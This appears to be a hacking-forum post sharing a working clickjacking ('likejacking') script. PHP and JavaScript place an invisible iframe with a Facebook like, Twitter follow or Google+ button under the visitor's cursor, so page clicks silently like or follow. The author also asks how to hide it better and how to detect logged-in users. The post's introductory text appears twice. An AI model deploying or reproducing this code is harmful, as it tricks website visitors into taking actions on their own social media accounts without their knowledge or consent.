Hello HF,
What this script does is when an visitor comes to your website and whenever he clicks somewhere he will click on an invisible button which is randomly generated, so its or an facebook like button or an twitter follow button or an google plus like button. But when it is clicked it will stay on its place so when the visitor goes somewhere else with his mouse.. he will not click it again only the google plus like button will not stay because i can't get it in an iframe which stops upon being pressed once like i just said.
So what has to be done?
The google plus like button has to stay on its place just like the iframes do.
The twitter follow button needs to get rid of his alt/mouseover text.
We need an function that checks if the user is already logged on in facebook, twitter or google and if they already liked etcetera to prevent getting popup boxes or unliking.
And not really neccesary but would be nice to hide it even better is to make it stay on the default cursor instead of the pointer and maybe to hide the link status..
With that, this method would be perfect to gain likes and followers.
Upload the hiddenframe.js, put the "include javascript" lines right before your </head>, change the 3 links in the rest of the code and put it right before your </body></html>
hiddenframe.js:
including javascripts:
rest of the code:
What this script does is when an visitor comes to your website and whenever he clicks somewhere he will click on an invisible button which is randomly generated, so its or an facebook like button or an twitter follow button or an google plus like button. But when it is clicked it will stay on its place so when the visitor goes somewhere else with his mouse.. he will not click it again only the google plus like button will not stay because i can't get it in an iframe which stops upon being pressed once like i just said.
So what has to be done?
The google plus like button has to stay on its place just like the iframes do.
The twitter follow button needs to get rid of his alt/mouseover text.
We need an function that checks if the user is already logged on in facebook, twitter or google and if they already liked etcetera to prevent getting popup boxes or unliking.
And not really neccesary but would be nice to hide it even better is to make it stay on the default cursor instead of the pointer and maybe to hide the link status..
With that, this method would be perfect to gain likes and followers.
Upload the hiddenframe.js, put the "include javascript" lines right before your </head>, change the 3 links in the rest of the code and put it right before your </body></html>
hiddenframe.js:
Code
var interval;
$(function()
{
interval=setInterval("updateActiveElement();", 50);
});
function updateActiveElement()
{
if ( $(document.activeElement).attr('id')=="hiddenframe" )
{
clearInterval(interval);
iflag=1;
}
}//End.including javascripts:
Code
<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.4.2.min.js"></script>
<script type="text/javascript" src="hiddenframe.js"></script>rest of the code:
Code
[b]<!--[/b] Random Hidden Buttons -->
<?php $random = rand(0,2);
$url[0] = "<iframe src='http://www.facebook.com/plugins/like.php?href=http://www.YourWebsiteOrFanpageHere.com/'
scrolling='no' frameborder='0' allowTransparency='true' id='hiddenframe' name='hiddenframe'></iframe>";
$url[1] = "<iframe src='http://platform.twitter.com/widgets/follow_button.html?screen_name=YourTwitterNameHere'
scrolling='no' frameborder='0' allowTransparency='true' id='hiddenframe' name='hiddenframe'></iframe>";
$url[2] = "[b]<!--[/b] Disabling the popup -->
<style type='text/css'>
.gc-bubbleDefault, .pls-container { cursor: default; display: none !important; }
</style>
<g:plusone size='small' annotation='none' href='http://www.YourWebsiteHere.com/'></g:plusone>";
?>
<div style="border:none; overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity: 0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="icontainer">
<?php echo $url[$random]; ?>
</div>
<script>
var iflag = 0;
var icontainer = document.getElementById('icontainer');
var standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
function mouseFollower(e){
if (window.event)
{ // for IE
icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+'px';
icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+'px';
}
else
{
icontainer.style.top = (e.pageY-5)+'px';
icontainer.style.left = (e.pageX-5)+'px';
}
}
document.onmousemove = function(e) {
if (iflag == 0) {mouseFollower(e);}
}
</script>
[b]<!--[/b] Random Hidden Buttons END -->

